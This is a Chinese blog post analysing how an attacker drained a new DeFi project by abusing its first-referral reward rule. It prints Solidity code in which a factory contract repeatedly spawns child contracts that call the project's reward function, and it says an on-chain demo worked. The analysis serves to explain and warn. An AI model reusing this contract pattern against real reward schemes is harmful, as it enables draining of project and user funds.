震惊:全面拆解dapp上线三天、 规则漏洞导致资金全部损失

背景:

今天的分析的是链上一个土狗项目由于规则设计漏洞、导致被黑客利用漏洞攻击、致使资金全部损失的案例、近期这个项目也是圈内很火、今天看到了,就趁周末有时间从技术的角度,分析黑客如何利用链上部署的合约,进而干废项目方。

今天说的这个,不是技术漏洞bug、是规则设计漏洞。

说到这里可能有同学就说了、我合约不开源、他怎么发现我的漏洞的、怎么攻击我的、这里可以直接告诉你、不开源不代表安全、只是增加了黑客的一点点成本而已。

攻击源代码

csharp 复制代码
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.0;
contract ChildContract {
    // 定义合约
     address constant remoteContractAddress = 0x543a975946xxxxxxxxxxxxxxxxxxxxx;
     // 子合约的代码...
    function fun(address orderAdress) public {
        // 调用远程合约的*****function方法
        bytes4 sig = bytes4(keccak256("*****function(address)"));
        (bool success, ) = remoteContractAddress.call{value: 0}(abi.encodeWithSelector(sig, orderAdress));
        require(success, "Remote contract call failed");
    }
}

// 工厂合约定义
contract FactoryContract {
    address[] public childrenContracts; // 存储所有子合约地址的数组
    function createChild(address orderAdress) public {
        for (uint256 i = 0; i < 10; i++) {
        ChildContract child = new ChildContract(); // 创建新的子合约实例
        address childAddr = address(child); // 获取子合约的地址
        childrenContracts.push(orderAdress); // 将子合约地址存入数组
        child.fun(orderAdress);
        }

    }

}

案例分析

导火索: 项目方里面有个活动、利用首次推荐新用户推荐人下单获得固定奖励、本来一切都是好好的、但是这里就有一个漏洞了。大家都知道链上都是用address 钱包定义用户的、但是合约本质上也是一个特殊的address 、故此当有人核量成本、发现一笔攻击gas能覆盖奖励收益的时候、就开始使用技术手段去攻击了。

接下来我解释一下我演示的demo流程

1、创建一个工厂合约、每次通过fro方式重复new ChildContract 这个每次new 都会得到一个新的合约地址

2、通过ChildContract 内fun 方法,固定去调用项目方函数。

3、项目方接收到调用后,规则验证通过、给推荐地址orderAdress 返一笔。

4、如果FactoryContract .createChild 一直重复调用、项目方很快破产...

5、以下是我写的一个简单的调用demo 的链上记录

打码的不用关注、主要就是告诉你、可行。。。

后期建议优化

相关推荐
ZDGJ60995 小时前
国际黄金期货交易时间的优势
区块链
IvorySQL5 小时前
PostgreSQL 日报| OpenCode 遭黑客入侵 API 密钥失窃(10 月 20 日)
数据库·postgresql·区块链
Haoyunyi1 天前
2026年做期货量化,和三年前已经不是一回事了
大数据·人工智能·python·金融·区块链
木西2 天前
Web3+AI 社交工程解析|MetYa 去中心化身份与 DePIN 算力方案
web3·智能合约·solidity
2601_961963382 天前
电子合同检索与全文搜索怎么测、怎么选:六个指标 + 五家平台对比 + 八个自测问题
数据库·后端·python·django·智能合约
极光通讯2 天前
涨价周期里的元器件议价策略:如何判断供应商报价是否合理
区块链
重明链迹实验室2 天前
重明链迹丨每周区块链安全要闻(1012-1018)
安全·web3·区块链
ZDGJ60992 天前
国际黄金期货交易趋势规则
区块链
旋生万物4 天前
全息编码:从 CRC 到 Merkle Tree 到区块链的统一视角
区块链·#人工智能·#后端开发·#软件工程·#数据结构与算法·#云原生·#分布式系统
ZDGJ60994 天前
国际期货交易中如何选择交易时机?
区块链